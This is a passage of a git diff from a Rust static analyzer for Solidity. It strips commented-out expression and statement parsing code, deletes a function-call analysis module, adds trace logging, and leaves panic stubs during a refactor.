// LessEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Lte, rhs, ctx), - // MoreEqual(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Gte, rhs, ctx), - - // // Logical - // Not(loc, expr) => self.not(arena, *loc, expr, ctx), - // And(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::And, rhs, ctx), - // Or(loc, lhs, rhs) => self.cmp(arena, *loc, lhs, RangeOp::Or, rhs, ctx), - - // // Function calls - // FunctionCallBlock(loc, _func_expr, _input_exprs) => { - // // TODO: update msg node - // Err(ExprErr::Todo( - // *loc, - // "Function call block is unsupported. We shouldn't have hit this code path" - // .to_string(), - // )) - // } - // NamedFunctionCall(loc, func_expr, input_args) => { - // self.named_fn_call_expr(arena, ctx, loc, func_expr, input_args) - // } - // FunctionCall(loc, func_expr, input_exprs) => { - // let updated_func_expr = match **func_expr { - // FunctionCallBlock(_loc, ref inner_func_expr, ref _call_block) => { - // // we dont currently handle the `{value: .. gas: ..}` msg updating - // // println!("call block: {call_block:#?}"); - - // // let mut tmp_msg = Msg { - - // // } - // // self.add_expr_err(ExprErr::FunctionCallBlockTodo(call_block.loc(), "Function call block is currently unsupported. Relevant changes on `msg` will not take effect".to_string())); - // inner_func_expr.clone() - // } - // _ => func_expr.clone(), - // }; - - // self.fn_call_expr(arena, ctx, loc, &updated_func_expr, input_exprs) - // } - // // member - // New(loc, expr) => { - // match &**expr { - // Expression::FunctionCall(_loc, func, inputs) => { - // // parse the type - // self.new_call(arena, loc, func, inputs, ctx) - // } - // _ => panic!("Bad new call"), - // } - // } - // This(loc) => { - // let var = ContextVar::new_from_contract( - // *loc, - // ctx.associated_contract(self).into_expr_err(*loc)?, - // self, - // ) - // .into_expr_err(*loc)?; - // let cvar = self.add_node(var); - // ctx.add_var(cvar.into(), self).into_expr_err(*loc)?; - // self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - // ctx.push_expr(ExprRet::Single(cvar), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // MemberAccess(loc, member_expr, ident) => { - // self.member_access(arena, *loc, member_expr, ident, ctx) - // } - - // Delete(loc, expr) => { - // fn delete_match( - // ctx: ContextNode, - // loc: &Loc, - // analyzer: &mut impl AnalyzerBackend, - // ret: ExprRet, - // ) { - // match ret { - // ExprRet::CtxKilled(kind) => { - // let _ = ctx.kill(analyzer, *loc, kind); - // } - // ExprRet::Single(cvar) | ExprRet::SingleLiteral(cvar) => { - // let mut new_var = - // analyzer.advance_var_in_ctx(cvar.into(), *loc, ctx).unwrap(); - // let res = new_var.sol_delete_range(analyzer).into_expr_err(*loc); - // let _ = analyzer.add_if_err(res); - // } - // ExprRet::Multi(inner) => { - // inner - // .iter() - // .for_each(|i| delete_match(ctx, loc, analyzer, i.clone())); - // } - // ExprRet::Null => {} - // } - // } - - // self.parse_ctx_expr(arena, expr, ctx)?; - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - // tracing::trace!("Delete variable pop"); - // let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoRhs( - // loc, - // "Delete operation had no right hand side".to_string(), - // )); - // }; - - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // delete_match(ctx, &loc, analyzer, ret); - // Ok(()) - // }) - // } - - // // de/increment stuff - // PreIncrement(loc, expr) => self.pre_increment(arena, expr, *loc, ctx), - // PostIncrement(loc, expr) => self.post_increment(arena, expr, *loc, ctx), - // PreDecrement(loc, expr) => self.pre_decrement(arena, expr, *loc, ctx), - // PostDecrement(loc, expr) => self.post_decrement(arena, expr, *loc, ctx), - - // // Misc. - // Variable(ident) => self.variable(arena, ident, ctx, None, None), - // Type(loc, ty) => { - // if let Some(builtin) = Builtin::try_from_ty(ty.clone(), self, arena) { - // if let Some(idx) = self.builtins().get(&builtin) { - // ctx.push_expr(ExprRet::Single(*idx), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } else { - // let idx = self.add_node(Node::Builtin(builtin.clone())); - // self.builtins_mut().insert(builtin, idx); - // ctx.push_expr(ExprRet::Single(idx), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // } else { - // ctx.push_expr(ExprRet::Null, self).into_expr_err(*loc)?; - // Ok(()) - // } - // } - // Parenthesis(_loc, expr) => self.parse_ctx_expr(arena, expr, ctx), - // } + unreachable!("dead"); } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 5e1ecc31..d7ff1c57 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -48,7 +48,7 @@ pub trait Flatten: { fn traverse_statement(&mut self, stmt: &Statement, unchecked: Option) { use Statement::*; - + tracing::trace!("traverse statement: {stmt:#?}"); match stmt { Block { loc: _, @@ -175,6 +175,7 @@ pub trait Flatten: fn traverse_expression(&mut self, parent_expr: &Expression, unchecked: Option) { use Expression::*; + tracing::trace!("traverse expression: {parent_expr:#?}"); match parent_expr { // literals NumberLiteral(..) diff --git a/crates/solc-expressions/src/context_builder/fn_calls.rs b/crates/solc-expressions/src/context_builder/fn_calls.rs deleted file mode 100644 index d07f2b0a..00000000 --- a/crates/solc-expressions/src/context_builder/fn_calls.rs +++ /dev/null @@ -1,324 +0,0 @@ -use crate::{ExpressionParser, StatementParser}; -use solang_parser::helpers::CodeLocation; - -use graph::{ - nodes::{Context, ContextNode, FunctionNode}, - AnalyzerBackend, Node, -}; - -use shared::ExprErr; - -use solang_parser::pt::{Expression, Statement}; - -impl FnCallBuilder for T where - T: AnalyzerBackend - + Sized - + StatementParser - + ExpressionParser -{ -} - -/// Dispatcher for building up a context of a function -pub trait FnCallBuilder: - AnalyzerBackend + Sized + StatementParser + ExpressionParser -{ - fn analyze_fn_calls(&mut self, caller: FunctionNode) { - self.fn_calls_fns_mut().entry(caller).or_default(); - if let Some(body) = caller.underlying(self).unwrap().body.clone() { - self.analyze_fn_calls_stmt(caller, body); - } - } - - fn analyze_fn_calls_stmt(&mut self, caller: FunctionNode, stmt: Statement) { - use Statement::*; - match stmt { - Block { statements, .. } => { - statements.iter().for_each(|stmt| { - self.analyze_fn_calls_stmt(caller, stmt.clone()); - }); - } - Assembly { .. } => {} - Args(_, args) => { - args.iter().for_each(|arg| { - self.analyze_fn_calls_expr(caller, arg.expr.clone()); - }); - } - If(_, expr, stmt_true, maybe_stmt_false) => { - self.analyze_fn_calls_expr(caller, expr); - self.analyze_fn_calls_stmt(caller, *stmt_true); - if let Some(stmt_false) = maybe_stmt_false { - self.analyze_fn_calls_stmt(caller, *stmt_false); - } - } - While(_, expr, stmt) => { - self.analyze_fn_calls_expr(caller, expr); - self.analyze_fn_calls_stmt(caller, *stmt); - } - Expression(_, expr) => self.analyze_fn_calls_expr(caller, expr), - VariableDefinition(_, var_decl, maybe_expr) => { - self.analyze_fn_calls_expr(caller, var_decl.ty); - if let Some(expr) = maybe_expr { - self.analyze_fn_calls_expr(caller, expr); - } - } - For(_, maybe_stmt, maybe_expr, maybe_stmt_1, maybe_stmt_2) => { - if let Some(stmt) = maybe_stmt { - self.analyze_fn_calls_stmt(caller, *stmt); - } - - if let Some(expr) = maybe_expr { - self.analyze_fn_calls_expr(caller, *expr); - } - - if let Some(stmt1) = maybe_stmt_1 { - self.analyze_fn_calls_stmt(caller, *stmt1); - } - - if let Some(stmt2) = maybe_stmt_2 { - self.analyze_fn_calls_stmt(caller, *stmt2); - } - } - DoWhile(_, stmt, expr) => { - self.analyze_fn_calls_stmt(caller, *stmt); - self.analyze_fn_calls_expr(caller, expr); - } - Continue(_) => {} - Break(_) => {} - Return(_, maybe_expr) => { - if let Some(expr) = maybe_expr { - self.analyze_fn_calls_expr(caller, expr); - } - } - Revert(_, _, exprs) => { - exprs.iter().for_each(|expr| { - self.analyze_fn_calls_expr(caller, expr.clone()); - }); - } - RevertNamedArgs(_, _, args) => { - args.iter().for_each(|arg| { - self.analyze_fn_calls_expr(caller, arg.expr.clone()); - }); - } - Emit(_, expr) => { - self.analyze_fn_calls_expr(caller, expr); - } - Try(_, expr, maybe_tuple, catch_clauses) => { - self.analyze_fn_calls_expr(caller, expr); - // Option<(ParameterList, Box)> - if let Some((param_list, stmt)) = maybe_tuple { - param_list.iter().for_each(|(_, maybe_param)| { - if let Some(param) = maybe_param { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - } - }); - self.analyze_fn_calls_stmt(caller, *stmt); - } - - catch_clauses - .iter() - .for_each(|catch_clause| match catch_clause { - solang_parser::pt::CatchClause::Simple(_, maybe_param, stmt) => { - if let Some(param) = maybe_param { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - } - self.analyze_fn_calls_stmt(caller, stmt.clone()); - } - solang_parser::pt::CatchClause::Named(_, _, param, stmt) => { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - self.analyze_fn_calls_stmt(caller, stmt.clone()); - } - }) - } - Error(_) => {} - } - } - - fn analyze_fn_calls_expr(&mut self, caller: FunctionNode, expr: Expression) { - use Expression::*; - match expr { - BoolLiteral(_, _) - | NumberLiteral(_, _, _, _) - | RationalNumberLiteral(_, _, _, _, _) - | HexNumberLiteral(_, _, _) - | StringLiteral(_) - | HexLiteral(_) - | AddressLiteral(_, _) - | Variable(_) - | This(_) => {} - - PostIncrement(_, expr) - | PostDecrement(_, expr) - | New(_, expr) - | Parenthesis(_, expr) - | MemberAccess(_, expr, _) - | Not(_, expr) - | Delete(_, expr) - | PreIncrement(_, expr) - | PreDecrement(_, expr) - | BitwiseNot(_, expr) - | Negate(_, expr) - | UnaryPlus(_, expr) => { - self.analyze_fn_calls_expr(caller, *expr); - } - - Power(_, expr, expr1) - | Multiply(_, expr, expr1) - | Divide(_, expr, expr1) - | Modulo(_, expr, expr1) - | Add(_, expr, expr1) - | Subtract(_, expr, expr1) - | ShiftLeft(_, expr, expr1) - | ShiftRight(_, expr, expr1) - | BitwiseAnd(_, expr, expr1) - | BitwiseXor(_, expr, expr1) - | BitwiseOr(_, expr, expr1) - | Less(_, expr, expr1) - | More(_, expr, expr1) - | LessEqual(_, expr, expr1) - | MoreEqual(_, expr, expr1) - | Equal(_, expr, expr1) - | NotEqual(_, expr, expr1) - | And(_, expr, expr1) - | Or(_, expr, expr1) - | Assign(_, expr, expr1) - | AssignOr(_, expr, expr1) - | AssignAnd(_, expr, expr1) - | AssignXor(_, expr, expr1) - | AssignShiftLeft(_, expr, expr1) - | AssignShiftRight(_, expr, expr1) - | AssignAdd(_, expr, expr1) - | AssignSubtract(_, expr, expr1) - | AssignMultiply(_, expr, expr1) - | AssignDivide(_, expr, expr1) - | AssignModulo(_, expr, expr1) => { - self.analyze_fn_calls_expr(caller, *expr); - self.analyze_fn_calls_expr(caller, *expr1); - } - - ArraySubscript(_, expr, maybe_expr) => { - self.analyze_fn_calls_expr(caller, *expr); - if let Some(expr1) = maybe_expr { - self.analyze_fn_calls_expr(caller, *expr1); - } - } - ArraySlice(_, expr, maybe_expr, maybe_expr1) => { - self.analyze_fn_calls_expr(caller, *expr); - if let Some(expr1) = maybe_expr { - self.analyze_fn_calls_expr(caller, *expr1); - } - - if let Some(expr2) = maybe_expr1 { - self.analyze_fn_calls_expr(caller, *expr2); - } - } - ConditionalOperator(_, expr, expr1, expr2) => { - self.analyze_fn_calls_expr(caller, *expr); - self.analyze_fn_calls_expr(caller, *expr1); - self.analyze_fn_calls_expr(caller, *expr2); - } - List(_, param_list) => { - param_list.iter().for_each(|(_, maybe_param)| { - if let Some(param) = maybe_param { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - } - }); - } - ArrayLiteral(_, exprs) => { - exprs.into_iter().for_each(|expr| { - self.analyze_fn_calls_expr(caller, expr); - }); - } - - Type(_, ty) => match ty { - solang_parser::pt::Type::Mapping { key, value, .. } => { - self.analyze_fn_calls_expr(caller, *key); - self.analyze_fn_calls_expr(caller, *value); - } - solang_parser::pt::Type::Function { - params, returns, .. - } => { - params.iter().for_each(|(_, maybe_param)| { - if let Some(param) = maybe_param { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - } - }); - if let Some((param_list, _)) = returns { - param_list.iter().for_each(|(_, maybe_param)| { - if let Some(param) = maybe_param { - self.analyze_fn_calls_expr(caller, param.ty.clone()); - } - }); - } - } - _ => {} - }, - - FunctionCallBlock(_, func_expr, _input_exprs) => { - if let Variable(ref ident) = *func_expr { - let loc = func_expr.loc(); - let ctx = Context::new( - caller, - format!("<{}_parser_fn>", caller.name(self).unwrap()), - loc, - ); - let ctx = ContextNode::from(self.add_node(Node::Context(ctx))); - let visible_funcs = ctx.visible_funcs(self).unwrap(); - let possible_funcs: Vec<_> = visible_funcs - .into_iter() - .filter(|f| f.name(self).unwrap().starts_with(&ident.name)) - .collect(); - if possible_funcs.len() == 1 { - let func = possible_funcs[0]; - self.add_fn_call(caller, func); - } - } - } - NamedFunctionCall(_, func_expr, input_args) => { - if let Variable(ref ident) = *func_expr { - let loc = func_expr.loc(); - let ctx = Context::new( - caller, - format!("<{}_parser_fn>", caller.name(self).unwrap()), - loc, - ); - let ctx = ContextNode::from(self.add_node(Node::Context(ctx))); - let visible_funcs = ctx.visible_funcs(self).unwrap(); - let mut possible_funcs: Vec<_> = visible_funcs - .into_iter() - .filter(|f| f.name(self).unwrap().starts_with(&ident.name)) - .collect(); - possible_funcs.retain(|func| func.params(self).len() == input_args.len()); - if possible_funcs.len() == 1 { - let func = possible_funcs[0]; - self.add_fn_call(caller, func); - } - } - } - FunctionCall(_, func_expr, input_exprs) => { - if let Variable(ref ident) = *func_expr { - let loc = func_expr.loc(); - let ctx = Context::new( - caller, - format!("<{}_parser_fn>", caller.name(self).unwrap()), - loc, - ); - let ctx = ContextNode::from(self.add_node(Node::Context(ctx))); - let visible_funcs = ctx.visible_funcs(self).unwrap(); - let mut possible_funcs: Vec<_> = visible_funcs - .into_iter() - .filter(|f| f.name(self).unwrap().starts_with(&ident.name)) - .collect(); - possible_funcs.retain(|func| func.params(self).len() == input_exprs.len()); - if possible_funcs.len() == 1 { - let func = possible_funcs[0]; - self.add_fn_call(caller, func); - } - } - - input_exprs.iter().for_each(|expr| { - self.analyze_fn_calls_expr(caller, expr.clone()); - }) - } - } - } -} diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index 9f2b2eab..b6d05915 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -15,13 +15,11 @@ impl ContextBuilder for T where mod expr; mod flattened; -mod fn_calls; mod stmt; mod test_command_runner; pub use expr::*; pub use flattened::*; -pub use fn_calls::*; pub use stmt::*; pub use test_command_runner::*; diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs index 66307dc5..9786b061 100644 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ b/crates/solc-expressions/src/context_builder/stmt.rs @@ -25,34 +25,6 @@ pub trait StatementParser: Self: Sized, { panic!("here"); - // if let Some(parent) = parent_ctx { - // match self.node(parent) { - // Node::Context(_) => { - // let ctx = ContextNode::from(parent.into()); - // if !ctx.killed_or_ret(self).unwrap() { - // if let Some(live_edges) = - // self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) - // { - // if live_edges.is_empty() { - // self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) - // } else { - // live_edges.iter().for_each(|fork_ctx| { - // self.parse_ctx_stmt_inner( - // arena, - // stmt, - // unchecked, - // Some(*fork_ctx), - // ); - // }); - // } - // } - // } - // } - // _ => self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx), - // } - // } else { - // self.parse_ctx_stmt_inner(arena, stmt, unchecked, parent_ctx) - // } } #[tracing::instrument(level = "trace", skip_all)] @@ -67,583 +39,5 @@ pub trait StatementParser: Self: Sized, { panic!("here"); - // tracing::trace!( - // "stmt: {:#?}, node: {:#?}", - // stmt, - // if let Some(node) = parent_ctx { - // Some(self.node(node.into())) - // } else { - // None - // } - // ); - - // at the end of a statement we shouldn't have anything in the stack? - // if let Some(ctx) = parent_ctx { - // if let Node::Context(_) = self.node(ctx) { - // let c = ContextNode::from(ctx.into()); - // let res = self.is_representation_ok(arena).into_expr_err(stmt.loc()); - // if let Some(errs) = self.add_if_err(res) { - // if !errs.is_empty() { - // let Some(is_killed) = - // self.add_if_err(c.is_killed(self).into_expr_err(stmt.loc())) - // else { - // return; - // }; - // if !is_killed { - // c.kill(self, stmt.loc(), KilledKind::ParseError).unwrap(); - // errs.into_iter().for_each(|err| { - // self.add_expr_err(ExprErr::from_repr_err(stmt.loc(), err)); - // }); - // } - // } - // } - - // let _ = c.pop_expr_latest(stmt.loc(), self); - // if unchecked { - // let _ = c.set_unchecked(self); - // } else { - // let _ = c.unset_unchecked(self); - // } - - // if c.killed_or_ret(self).unwrap() { - // return; - // } - // } - // } - - // match stmt { - // Block { - // loc, - // unchecked, - // statements, - // } => { - // tracing::trace!("parsing block"); - // let parent = parent_ctx.expect("Free floating contexts shouldn't happen"); - // let mut entry_loc = None; - // let mut mods_set = false; - // let ctx_node = match self.node(parent) { - // Node::Function(fn_node) => { - // mods_set = fn_node.modifiers_set; - // entry_loc = Some(fn_node.loc); - // tracing::trace!("creating genesis context for function"); - // let ctx = Context::new( - // FunctionNode::from(parent.into()), - // self.add_if_err( - // FunctionNode::from(parent.into()) - // .name(self) - // .into_expr_err(stmt.loc()), - // ) - // .unwrap(), - // *loc, - // ); - // let ctx_node = self.add_node(Node::Context(ctx)); - // self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Context)); - - // ctx_node - // } - // Node::Context(_) => { - // // let ctx = Context::add_subctx( - // // ContextNode::from(parent.into()), - // // *loc, - // // false, - // // self, - // // ); - // // let ctx_node = self.add_node(Node::Context(ctx)); - // // self.add_edge(ctx_node, parent, Edge::Context(ContextEdge::Subcontext)); - // // ctx_node - // parent.into() - // } - // e => todo!( - // "Expected a context to be created by a function or context but got: {:?}", - // e - // ), - // }; - - // // optionally add named input and named outputs into context - // let (params, inputs): (Vec<_>, Vec<_>) = self - // .graph() - // .edges_directed(parent.into(), Direction::Incoming) - // .filter(|edge| *edge.weight() == Edge::FunctionParam) - // .map(|edge| FunctionParamNode::from(edge.source())) - // .collect::>() - // .into_iter() - // .filter_map(|param_node| { - // let res = param_node - // .underlying(self) - // .into_expr_err(stmt.loc()) - // .cloned(); - // let func_param = self.add_if_err(res)?; - // if let Some(cvar) = ContextVar::maybe_new_from_func_param(self, func_param) - // { - // let cvar_node = self.add_node(cvar); - // ContextNode::from(ctx_node) - // .add_var(cvar_node.into(), self) - // .unwrap(); - // self.add_edge( - // cvar_node, - // ctx_node, - // Edge::Context(ContextEdge::Variable), - // ); - - // self.add_edge( - // cvar_node, - // ctx_node, - // Edge::Context(ContextEdge::CalldataVariable), - // ); - - // let ty = ContextVarNode::from(cvar_node).ty(self).unwrap(); - // if let Some(strukt) = ty.maybe_struct() { - // strukt - // .add_fields_to_cvar(self, *loc, ContextVarNode::from(cvar_node)) - // .unwrap(); - // } - - // Some((param_node, ContextVarNode::from(cvar_node))) - // } else { - // None - // } - // }) - // .unzip(); - - // self.graph() - // .edges_directed(parent.into(), Direction::Incoming) - // .filter(|edge| *edge.weight() == Edge::FunctionReturn) - // .map(|edge| FunctionReturnNode::from(edge.source())) - // .collect::>() - // .iter() - // .for_each(|ret_node| { - // let res = ret_node.underlying(self).into_expr_err(stmt.loc()).cloned(); - // let func_ret = self.add_if_err(res).unwrap(); - // if let Some(cvar) = ContextVar::maybe_new_from_func_ret(self, func_ret) { - // let cvar_node = self.add_node(cvar); - // ContextNode::from(ctx_node) - // .add_var(cvar_node.into(), self) - // .unwrap(); - // self.add_edge( - // cvar_node, - // ctx_node, - // Edge::Context(ContextEdge::Variable), - // ); - // } - // }); - - // if let Some(fn_loc) = entry_loc { - // if !mods_set { - // let parent = FunctionNode::from(parent.into()); - // let _ = self - // .set_modifiers(arena, parent, ctx_node.into()) - // .map_err(|e| self.add_expr_err(e)); - // } - - // let res = self.func_call_inner( - // arena, - // true, - // ctx_node.into(), - // parent.into().into(), - // fn_loc, - // &inputs, - // ¶ms, - // None, - // &None, - // ); - // if self.widen_if_limit_hit(ctx_node.into(), res) { - // return; - // } - // let res = self.apply_to_edges( - // ctx_node.into(), - // *loc, - // arena, - // &|analyzer, _arena, ctx, loc| { - // if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - // tracing::trace!("killing due to bad funciton call"); - // let res = ContextNode::from(ctx_node) - // .kill( - // analyzer, - // fn_loc, - // ctx.underlying(analyzer).unwrap().killed.unwrap().1, - // ) - // .into_expr_err(fn_loc); - // let _ = analyzer.add_if_err(res); - // } - // Ok(()) - // }, - // ); - - // if self.widen_if_limit_hit(ctx_node.into(), res) { - // return; - // } - - // return; - // } - - // let res = self.apply_to_edges( - // ctx_node.into(), - // *loc, - // arena, - // &|analyzer, arena, ctx, _loc| { - // statements.iter().for_each(|stmt| { - // analyzer.parse_ctx_statement(arena, stmt, *unchecked, Some(ctx)) - // }); - // Ok(()) - // }, - // ); - // if self.widen_if_limit_hit(ctx_node.into(), res) {} - // } - // VariableDefinition(loc, var_decl, maybe_expr) => { - // let ctx = ContextNode::from( - // parent_ctx - // .expect("No context for variable definition?") - // .into(), - // ); - // tracing::trace!( - // "parsing variable definition, {:?} {var_decl:?}", - // ctx.path(self) - // ); - - // if let Some(rhs) = maybe_expr { - // match self.parse_ctx_expr(arena, rhs, ctx) { - // Ok(()) => { - // let res = self.apply_to_edges( - // ctx, - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // if !ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - // let Some(rhs_paths) = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // format!( - // "Variable definition had no right hand side, {}", - // ctx.path(analyzer) - // ), - // )); - // }; - - // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(rhs_paths, analyzer) - // .into_expr_err(loc)?; - // return Ok(()); - // } - - // if let solang_parser::pt::Expression::Variable(ident) = - // &var_decl.ty - // { - // analyzer.apply_to_edges( - // ctx, - // ident.loc, - // arena, - // &|analyzer, arena, ctx, _| { - // analyzer.variable( - // arena, - // ident, - // ctx, - // var_decl.storage.clone(), - // None, - // ) - // }, - // )?; - // } else { - // analyzer.parse_ctx_expr(arena, &var_decl.ty, ctx)?; - // } - - // analyzer.apply_to_edges( - // ctx, - // loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Variable definition had no left hand side" - // .to_string(), - // )); - // }; - - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer) - // .into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.match_var_def( - // arena, - // ctx, - // ( - // var_decl - // .name - // .as_ref() - // .map(|n| n.name.clone()), - // var_decl.storage.clone().map(Into::into), - // ), - // loc, - // &lhs_paths, - // Some(&rhs_paths), - // )?; - // Ok(()) - // }, - // ) - // } else { - // Ok(()) - // } - // }, - // ); - // let _ = self.widen_if_limit_hit(ctx, res); - // } - // ret => { - // let _ = self.widen_if_limit_hit(ctx, ret); - // } - // } - // } else { - // let res = if let solang_parser::pt::Expression::Variable(ident) = &var_decl.ty { - // self.apply_to_edges(ctx, ident.loc, arena, &|analyzer, arena, ctx, _| { - // analyzer.variable(arena, ident, ctx, var_decl.storage.clone(), None) - // }) - // } else { - // self.parse_ctx_expr(arena, &var_decl.ty, ctx) - // }; - - // if self.widen_if_limit_hit(ctx, res) { - // return; - // } - // let res = - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(lhs_paths) = - // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoLhs( - // loc, - // "Variable definition had no left hand side".to_string(), - // )); - // }; - - // if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // analyzer.match_var_def( - // arena, - // ctx, - // ( - // var_decl.name.as_ref().map(|n| n.name.clone()), - // var_decl.storage.clone().map(Into::into), - // ), - // loc, - // &lhs_paths, - // None, - // )?; - // Ok(()) - // }); - // let _ = self.widen_if_limit_hit(ctx, res); - // } - // } - // Args(_loc, _args) => { - // tracing::trace!("parsing args, {_args:?}"); - // } - // If(loc, if_expr, true_expr, maybe_false_expr) => { - // tracing::trace!("parsing if, {if_expr:?}"); - // let ctx = ContextNode::from(parent_ctx.expect("Dangling if statement").into()); - // let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // analyzer.cond_op_stmt(arena, loc, if_expr, true_expr, maybe_false_expr, ctx) - // }); - // let _ = self.widen_if_limit_hit(ctx, res); - // } - // While(loc, cond, body) => { - // tracing::trace!("parsing while, {cond:?}"); - // if let Some(parent) = parent_ctx { - // let res = self.apply_to_edges( - // ContextNode::from(parent.into()), - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // analyzer.while_loop(arena, loc, ctx, cond, body) - // }, - // ); - // let _ = self.widen_if_limit_hit(parent.into().into(), res); - // } - // } - // Expression(loc, expr) => { - // tracing::trace!("parsing expr, {expr:?}"); - // if let Some(parent) = parent_ctx { - // let ctx = parent.into().into(); - // if let solang_parser::pt::Expression::StringLiteral(lits) = expr { - // if lits.len() == 1 { - // if let Some(command) = self.test_string_literal(&lits[0].string) { - // let _ = self.apply_to_edges( - // ctx, - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // analyzer.run_test_command(arena, ctx, loc, command.clone()); - // Ok(()) - // }, - // ); - // } - // } - // } - - // match self.parse_ctx_expr(arena, expr, ctx) { - // Ok(()) => { - // let res = self.apply_to_edges( - // ctx, - // *loc, - // arena, - // &|analyzer, _arena, ctx, loc| { - // if ctx.killed_or_ret(analyzer).into_expr_err(loc)? { - // tracing::trace!("killing due to bad expr"); - // ContextNode::from(parent.into()) - // .kill( - // analyzer, - // loc, - // ctx.underlying(analyzer).unwrap().killed.unwrap().1, - // ) - // .into_expr_err(loc)?; - // } - // Ok(()) - // }, - // ); - // let _ = self.widen_if_limit_hit(ctx, res); - // } - // e => { - // let _ = self.widen_if_limit_hit(ctx, e); - // } - // } - // } - // } - // For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => { - // tracing::trace!("parsing for loop"); - // if let Some(parent) = parent_ctx { - // let res = self.apply_to_edges( - // parent.into().into(), - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // analyzer.for_loop( - // arena, - // loc, - // ctx, - // maybe_for_start, - // maybe_for_middle, - // maybe_for_end, - // maybe_for_body, - // ) - // }, - // ); - // let _ = self.widen_if_limit_hit(parent.into().into(), res); - // } - // } - // DoWhile(loc, while_stmt, while_expr) => { - // tracing::trace!("parsing `do while`, {while_expr:?}"); - // if let Some(parent) = parent_ctx { - // let res = self.apply_to_edges( - // ContextNode::from(parent.into()), - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // analyzer.while_loop(arena, loc, ctx, while_expr, while_stmt) - // }, - // ); - // let _ = self.widen_if_limit_hit(parent.into().into(), res); - // } - // } - // Continue(_loc) => { - // tracing::trace!("parsing continue"); - // // TODO: We cheat in loops by just widening so continues dont matter yet - // } - // Break(_loc) => { - // tracing::trace!("parsing break"); - // // TODO: We cheat in loops by just widening so breaks dont matter yet - // } - // Assembly { - // loc, - // dialect: _, - // flags: _, - // block: yul_block, - // } => { - // tracing::trace!("parsing assembly"); - // let ctx = ContextNode::from( - // parent_ctx - // .expect("No context for variable definition?") - // .into(), - // ); - // let res = self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, _loc| { - // analyzer.parse_ctx_yul_statement( - // arena, - // &YulStatement::Block(yul_block.clone()), - // ctx, - // ); - // Ok(()) - // }); - // let _ = self.widen_if_limit_hit(ctx, res); - // } - // Return(loc, maybe_ret_expr) => { - // tracing::trace!("parsing return"); - // if let Some(ret_expr) = maybe_ret_expr { - // if let Some(parent) = parent_ctx { - // let res = self.parse_ctx_expr(arena, ret_expr, parent.into().into()); - // if self.widen_if_limit_hit(parent.into().into(), res) { - // return; - // } - // let res = self.apply_to_edges( - // parent.into().into(), - // *loc, - // arena, - // &|analyzer, arena, ctx, loc| { - // let Ok(Some(ret)) = ctx.pop_expr_latest(loc, analyzer) else { - // return Err(ExprErr::NoLhs( - // loc, - // "Return did not have a associated expression".to_string(), - // )); - // }; - - // if matches!(ret, ExprRet::CtxKilled(_)) { - // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - - // let paths = ret.flatten(); - // if paths.is_killed() { - // tracing::trace!("killing due to bad return"); - // let res = ContextNode::from(parent.into()) - // .kill(analyzer, loc, paths.killed_kind().unwrap()) - // .into_expr_err(loc); - // let _ = analyzer.add_if_err(res); - // return Ok(()); - // } - // analyzer.return_match(arena, ctx, &loc, &paths, 0); - // Ok(()) - // }, - // ); - // let _ = self.widen_if_limit_hit(parent.into().into(), res); - // } - // } - // } - // Revert(loc, _maybe_err_path, _exprs) => { - // tracing::trace!("parsing revert"); - // if let Some(parent) = parent_ctx { - // let parent = ContextNode::from(parent.into()); - // let res = - // 